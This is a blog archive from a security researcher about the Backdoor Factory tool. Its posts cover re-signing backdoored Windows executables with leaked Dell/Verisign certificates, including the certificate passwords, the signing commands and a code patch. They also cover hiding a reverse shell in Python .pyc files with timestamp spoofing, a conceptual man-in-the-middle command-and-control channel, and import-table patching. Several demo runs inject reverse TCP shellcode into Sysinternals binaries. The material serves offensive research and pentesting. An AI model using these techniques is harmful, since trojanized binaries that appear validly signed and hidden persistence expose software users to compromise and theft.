Wednesday, December 16, 2015

Add PE Code Signing to Backdoor Factory (BDF)

Let's say you want to add PE codesiging to your instance of BDF after you patch PE files.  It's really easy. But to be honest, it's something I will not officially support in BDF for various reasons at the moment. One of them - I don't want to ship signing certs with BDF.  Perhaps I'll release a pro version where I implement everything or I'll teach a class and include stuff like this. Or I'll just tell you below.

Why would you want code signing in BDF?

Internet browsers, like IE/edge, give a pass if the binary is signed (A/V is a another story).  So if a signed binary is delivered via http, MITM'ed, unsigned, patched, the re-signed with a valid cert - a browser like IE should be ok with it. Since BDF is part of BDFProxy, then even better right?

Cool, ready to add code signing to BDF?

First things first, you need some signing certs.




The kind folks at Duo Security did some great research, read it here.

Grab the certs here.

Now BDF runs great on *nix/OSX, so we need something that does PE code signing on linux.

Grab ossligncode as so:

$ git clone git://git.code.sf.net/p/osslsigncode/osslsigncode osslsigncode

To build:

$ ./autogen.sh
$ ./configure
$ make
$ sudo make install

Next we need the signing certs and we need to put them in the BDF directory.

Navigate to your BDF home directory.

the-backdoor-factory git:(master) $
$ curl -O https://www.duosecurity.com/static/files/DellCertificates.zip
$ mkdir certs
$ unzip DellCertificates.zip -d certs

$ tree certs
certs
├── Verisign.pass
├── Verisign.pfx
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Let's use the verisign cert.

We'll need to convert the pfx format to cer/pem as that is what osslsigncode prefers.

$ openssl pkcs12 -in certs/Verisign.pfx -out certs/Verisign.cer -nodes
Enter Import Password: t-span

OK.

Now we need to make a private key.

$ openssl pkcs12 -in certs/Verisign.pfx -nocerts -out certs/VerisignPrivateKey.pem      
Enter Import Password: t-span
MAC verified OK
Enter PEM pass phrase: moomoo
Verifying - Enter PEM pass phrase: moomoo

Let's test everything out:

$ curl -O http://live.sysinternals.com/tcpview.exe  # yay http

$ osslsigncode extract-signature -in tcpview.exe -out sig.txt

$ hexdump -C sig.txt

And you should see something like this: http://pastebin.com/My9UHyjS
Clearly from Microsoft!

Test run:

$ osslsigncode -certs certs/Verisign.cer -key certs/VerisignPrivateKey.pem -n "Securitay" -in tcpview.exe -out tcpview_signed.exe -pass moomoo
Succeeded

$ osslsigncode extract-signature -in tcpview_signed.exe -out sig.txt

$ hexdump -C sig1.txt

And you should see something like this: http://pastebin.com/BSEzgS5q
Clearly not from Microsoft!

And if you upload to VirusTotal you'll see the signature is fully signed in the 'Signers' section and not by MS: https://www.virustotal.com/en/file/65b06e906b17c9f164937826575fc45f4c5f152ef8abfc324368eb46bb0028dc/analysis/1450316795/

Your certs directory should now look as so:
$ tree certs
certs
├── Verisign.cer
├── Verisign.pass
├── Verisign.pfx
├── VerisignPrivateKey.pem
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Time to modify BDF source code!!


Open pebin.py in your favorite editor.

Navigate to the bottom of the "def patch_pe(self):" function.

Near the bottom of that function we will modify...



...with the following code...

if self.ZERO_CERT is True:
            # cert was removed earlier 
            p = subprocess.Popen(['osslsigncode', '-certs', 'certs/Verisign.cer', '-key', \
                                  'certs/VerisignPrivateKey.pem', '-n', 'Security','-in', \
                                   self.flItms["backdoorfile"], '-out', self.flItms["backdoorfile"], '-pass', 'moomoo'])

            p.wait()

... so it looks like this afterwards:


After this mod to BDF you should see the following after running a similar command:

./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic
__________                __       .___                   
\______   \_____    ____ |  | __ __| _/____   ___________ 
 |    |  _/\__  \ _/ ___\|  |/ // __ |/  _ \ /  _ \_  __ \ 
 |    |   \ / __ \\  \___|    </ /_/ (  <_> |  <_> )  | \/
 |______  /(____  /\___  >__|_ \____ |\____/ \____/|__|   
        \/      \/     \/     \/    \/                    
___________              __                               
\_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) \__  \ _/ ___\   __\/  _ \_  __ <   |  |        
 |     \   / __ \\  \___|  | (  <_> )  | \/\___  |        
 \___  /  (____  /\___  >__|  \____/|__|   / ____|        
     \/        \/     \/                   \/             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.2.4
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 87
[*] All caves lengths:  145, 162, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 50: Section Name: .data; Cave begin: 0x44cc5 End: 0x44d6b; Cave Size: 166; Payload Size: 162
[!] Selected: 32: Section Name: .text; Cave begin: 0x3a304 End: 0x3a399; Cave Size: 149; Payload Size: 145
[!] Selected: 45: Section Name: .rdata; Cave begin: 0x3fba0 End: 0x3fc46; Cave Size: 166; Payload Size: 87
[*] Changing flags for section: .rdata
[*] Changing flags for section: .text
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
Succeeded
File tcpview.exe is in the 'backdoored' directory

Note the 'Succeeded'.

As expected, here's the result with a valid signature from Atheros:


This can be done with any PE code signing cert that is released leaked to the public.  Get creative! If you think this should be part of BDF, let me know on twitter or github.

Cheers.


Monday, November 9, 2015

Backdooring Python via PYC ( /ˈpiː/ - /ˈwaɪ/ - /ˈsiː/)

Hello Again.

It's been a while.

Believe it or not I have not been on a distance island selling 0days and stocks options.

While working on some python internals and source code review, I thought, how easy would it be to backdoor python after OS exploitation or some other form of access?

The answer is "really easy." But you want to stay hidden, not in plain sight, and within the constructs of what is already on disk.  This assumes you have root access and that the machine has python installed.

And it is all via the pyc file.  I'm not talking about patching python itself with BDF. That could be easier to catch.

/*
Also before I forget, most of this blog post was written before I found the right google search term for prior research and work.  Here's what I found:


The prior work included in the Pytroj github repo includes pyc infection of bytecode, that infects other pyc bytecode in the loaded program, for python27.

*/

As most of you know, pyc files are python bytecode that is either created by importing the file into an interpreter, or another file, or by calling python -m compileall [path]..

... or py_compile...

When a python file is called and a pyc file is present for an existing py file, python will check the timestamp four bytes into the pyc file and if this timestamp equals the timestamp of the parent py file modified time, then it will not over write the pyc file.  That's it.  That's all the integrity checks for python27.  Python3.X adds a check to see that the size is correct. You can simply copy the size over from the old pyc file to your new pyc file. That's really the only time it is checked. To restore the child pyc file you need to either delete the pyc file or modify the parent. Running py_compile will not modify the child pyc as the timestamp will be the same as the parent.

Checking Modified Timestamps


The POC that I have is for python 2.7 and python3.X. And you can get it here https://github.com/secretsquirrel/backdoor-pyc/

You may be asking yourself so what? Someone could just update the python code directly.

You are right. Here have a cookie.

However, when was the last time you decompiled your python bytecode because you thought it was modified from the original python file?

OK. How does it work?

I've selected ./Lib/utf_8.pyc as my code to patch in python2.7.  Why? Because when looking at the loading of python via python -v it's one of the later modules to load. And because of that, I can modify it with a payload, and most of the modules that I need are already available to use.





For python3.X, you are better off going with the rlcompleter.py.



I made a simple payload from of a python shell (from trustedsec) and added multiprocessing to it so that python will execute after the shell has been spawned.



First, the parent file is copied to /tmp/ and the POC is appended to the end of the py file. Then it is py_compiled to pyc.  Next the timestamp and size (if 3.X) is modified to match the parent file.  Finally the pyc file is copied to the original location under the parent file, or in __pycache__ in python3.X.

Cheers.
Code

Monday, March 23, 2015

Yet Another Reason for HTTPS Everywhere: Internet Node Based Malware Command and Control Channels

“The source of every crime, is some defect of the understanding; or some error in reasoning; or some sudden force of the passions. Defect in the understanding is ignorance; in reasoning, erroneous opinion.” 
― Thomas Hobbes, Leviathan


Introduction


As most of us know, many of the web sites and services we depend on the Internet are unencrypted, including news, retail, sports, and entertainment. Each one of these sites and services unintentionally provide an avenue for a MitM command and control (C2) infrastructure. In this concept, it is the traffic route that is important and that it can be modified.  Sites could be selected based on the crossing of C2 nodes along geographic lines or routing choke points, which could also help with locating the general area of infected machines. In addition, these sites would be normal in terms of user traffic and would not stand out from an initial DNS based forensic inquiry.


The Concept


Disclaimer: I have no proof this idea is in use as stated in this post.  This is just a proposal of an idea.

A MitM malware Command and Control (C2) channel needs three things to exist:
1. Malware on an infected machine
2. That contacts servers via unencrypted or decrypt-able traffic
3. Which crosses a malicious node that could inspect and inject content into the traffic

Normal Traffic:



Malware Communicating with a Malicious Node:


The MitM malware C2 concept is incredibly simple, but generally difficult to implement, and would be even more difficult to find in use. For a realistic attack, an adversary would need to implement the C2 code within an already existing infrastructure, particularly at advantageous nodes on the Internet.  To solve this problem, let’s consider that a node being used for mass Internet surveillance is multipurpose. Besides traffic capture, the most obvious use is the modification of traffic to stop the flow of information that opposes the view of the political powers that be or for corporate interests. Next is the MitM modification of binaries and code during download. Intelligence leaks have presented systems in place that could re-route client traffic to a server for end point exploitation. Finally I propose the possible implementation of a MitM malware C2 channel.

For an example, let us consider using HTTP for the channel.


The above diagram starts with an infected machine with malware (1) that is built to communicate via this infrastructure using HTTP GET requests.  The malware can be designed to communicate directly out, spoofing its User-Agent during the request. Perhaps the malware works like Superfish or Privdog breaking secure communications. Or it could be designed to parse outbound traffic and modify or tag the HTTP User-Agent header to a slightly different string making it identifiable from other HTTP requests on the web.  Furthermore, this malware will add an additional header; name doesn’t matter as the specifications allow flexibility, which will be used to pass encrypted data that is also base64 encoded. 

Next the HTTP request traverses the Internet from routing node to routing node as it makes it way to the requested HTTP server.  Along this path, a (2) Malicious/Evil Node inspects traffic for the unique User-Agent used by the malware. When the unique User-Agent request passes through this node, the C2 implementation tracks it, decrypts the encrypted message (if there), and waits for the response from the server.  One idea is that it again slightly modifies the User-Agent to avoid another malicious nodes in the route from modifying the request.  The modification could be as simple as removing the known tag from the User-Agent string.

The HTTP server (3) receives and (4) responds to the HTTP GET request.

The server’s HTTP response traverses back to the originating request (5) crossing the malicious node once again. As the response is handled, the malicious node injects a command for the malware into the either the HTML content as a comment with a unique tag or as an added unique HTTP response header that uses the same encryption scheme as the malware.

Finally the (6) HTTP response makes it way back to the originating machine, the malware either handles the request directly or intercepts the request, parses the request for encrypted commands, scrubs the request modifications in memory, then presents the response back to the user. Depending on the command, the malware will wait (sleep) until the next predetermined beaconing (1) attempt to contact the MitM C2 Node with the results of the prior command, if necessary.

I’ve written a POC to test portions of my thoughts; the client and server are written in python, with the C2 using mitmProxy.   After contemplation, I am not releasing the POC.  I believe it would not be useful to the pentester outside of an attacker controlled wireless access point and otherwise difficult to implement.  If I get enough feedback wanting a robust implementation, perhaps I'll build something.


Anti-Forensics


Many malware analysts work in a vacuum. Because of OPSEC, they cannot share their samples and indicators of compromise (IOCs) openly on the Internet. This balkanization of knowledge is not equipped to find a MitM malware C2 infrastructure. To the malware analyst, the contacted web server will appear to be the source of commands, especially for sites that are not popular (Ex: http://www.millerscleaners.com/). The analyst will write the site up as the C2, finish the network forensics part of the investigation, and continue on to other tasks.  The true C2 will go undetected; the patsy site will be determined as compromised, blocked within that organization, and at worse shared with a closed-source threat intelligence group.

Determining if the web server is compromised in this scenario will depend on the implementation of the malware.  In contrast to the prior example, if the malware uses multiple HTTP servers, especially popular sites, the analyst might determine that not all sites are compromised.  At this point, the analyst could take the risk of checking out of bounds via Tor network or a VPN service.  This would be a calculated risk as Malware authors of traditional end point C2s could have their servers configured to recognize requests from Tor exit nodes or outside of their target networks, thereby alerting that their malware samples have been found.

The other way to catch this type of threat is to monitor the change in server responses from node to node to determine when the C2 injects traffic - currently an impossible task. To stop this potential threat we need HTTPS everywhere and strong host security that is not undermined by vendor implementations. 


In Conclusion


I encourage malware analysts to look at malware C2 implementations differently and consider this as a potential avenue, albeit improbable. For companies with massive amounts of historical malware C2 data, it would be interesting exercise to determine which malware samples and classes could fall into this type of C2.

Wednesday, February 18, 2015

New BDF Feature: Import Table 'Patching'

The PE file Import Table - what does it do?

It is what makes a windows binary a portable executable.

Think of it as a reference table for all the Windows APIs (or custom apis) that will be called by the binary.  It's created at compile time.

Within the Import Table there are thunks, these are populated with winAPI addresses at load time.  This is advantageous because with ASLR you cannot have static API addresses programmed into the thunks and the binary would not be portable because of API address differences between windows operating systems.

These APIs are pointed to by an Import Directory Table with an entry for each imported API. Within this structure there are pointers to the API thunk, the thunk is populated with an address at load time in memory. When the binary was compiled, each program call to each thunk was statically set - e.g. position dependent. The relative virtual address (RVA) from module entry in memory of these thunks do not change between execution, it's always the same RVA offset for that particular binary until it is recompiled, statically modified, or redirected in memory via hooking.

BDF began by using Metasploit windows shellcode for payloads. It worked. Stephen Fewer's hash lookup api is great, it is position independent, and great for exploitation. While AV evasion wasn't perfect, code cave jumping helped with that issue. However, EMET blocks Metasploit payloads because of the way Stephen Fewer's hash lookup api works, using the Kernel32.dll EAT to find LoadLibrary/GetProcAddress and then the API address to be called (or rather via jmp instruction).  As such I wanted to move away from the hash lookup api to using the Import Table directly.  Because the Backdoor Factory (BDF) is statically patching binaries and compiled binaries use position dependent code, so should BDF.  BDF could use the APIs already in the Import Table to build a payload - LoadLibraryA and GetProcAddress is all you need. Most binaries have these two APIs.  However, not all of them.

Enter IAT 'patching'.

I call it 'patching', but rather it is redirection and addition of new APIs.

Adding imports to an existing IAT would be ludicrous and somewhat painful. I do want to attempt this at some point when I have time and an appetite for self destruction. TL;DR One would need to add an API in the middle of the Import Table, changing the following API offsets and size for the section, potentially changing offsets for entire sections afterwards, and other yet unknown potential offsets.

So what did I do?

1. Copy the Import Directory Table into a new PE section appended on the end of the binary.
2. Change the Import Table pointer in the Optional Header to the new Import Directory Table in the new section.
3. Instead of ending the Import Directory Table with a null byte entry, build a new Import Table (of sorts) right onto the end of it, following standard convention (http://sandsprite.com/CodeStuff/Understanding_imports.html, https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx).

And that's it.

BDF windows payloads that have 'iat' in the name will look for APIs in the Import Table first, then if missing, will automatically add those missing APIs into the new Import Table in the new section.  I just added a new payload that uses the Import Table for x64 PE files, iat_reverse_tcp, same concept as the x86 version added back in May 2014. I'm making the move to get away from from Metasploit payloads, but I still what to use meterpreter and other payloads that pentesters are used too. Stay tuned.

Right now these payloads use LoadLibraryA/GetProcAddress to load a payload.

In the future, I will get away from these two APIs and use the actual APIs needed for each payload since I can add them in a new Import Table if they do not exist in the original Import Table.

Other uses?  Using this technique I could rebuild an Import Table or recreate one from API calls in memory. From malware perhaps or packed executables - I don't know.

If you can think of any other uses for Import Table rebuilding contact me on twitter: @midnite_runr

Simple Demo:
$ wget http://live.sysinternals.com/Handle.exe

$ ./backdoor.py -f Handle.exe -s iat_reverse_tcp -P 8080 -H 192.168.1.1 -q
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories            
[*] Adding New Section for updated Import Table
[!] Adding LoadLibraryA Thunk in new IAT              #<-- import table creation
[*] Gathering file info                                                  #<-- updating PE info
[*] Checking updated IAT for thunks                          #<-- checking for success
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 382
[*] All caves lengths:  (382,)